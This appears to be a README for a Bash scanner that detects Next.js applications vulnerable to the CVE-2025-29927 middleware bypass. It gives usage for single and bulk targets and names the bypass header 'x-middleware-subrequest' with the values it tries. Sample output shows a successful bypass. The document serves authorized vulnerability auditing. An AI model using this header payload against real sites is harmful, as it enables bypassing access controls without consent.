
CVE-2025-29927 Exploit Checker
Automated Bash tool to detect Next.js applications vulnerable to the middleware bypass CVE-2025-29927, based on research by Zhero Web Security.
bashwhatwebcurlInstall them on Debian/Ubuntu with:
sudo apt install whatweb curl
./CVE-2025-29927.sh -u https://example.com
Create a urls.txt file with one URL per line:
https://target1.com
https://target2.com
Run:
./nextjs_bypass_checker_v2.sh -l urls.txt
Next.js identification
whatweb to detect the technology./_next/static/BUILD_ID and _buildManifest.js.Middleware detection
X-Middleware-RewriteX-Middleware-Set-CookieBypass test
x-middleware-subrequest and headers are detected.[*] Analyzing: https://victim.com
[+] WhatWeb:
-> Detected: Next.js[12.2.0]
[+] BUILD_ID: 3fjd92hf8
[+] Detected version: 12.2.0
[+] Middleware active (detected headers):
X-Middleware-Rewrite: /not-found/locale=en
[+] Testing exploits:
-> x-middleware-subrequest: middleware -> ✅ BYPASS SUCCESSFUL (headers disappeared)
-> x-middleware-subrequest: src/middleware -> ❌ Middleware not bypassed
[*] Finished: https://victim.com
This script is for educational purposes and authorized auditing only. Do not use it against targets without consent. Misuse may constitute illegal activity.
Based on research by: Zhero Web Security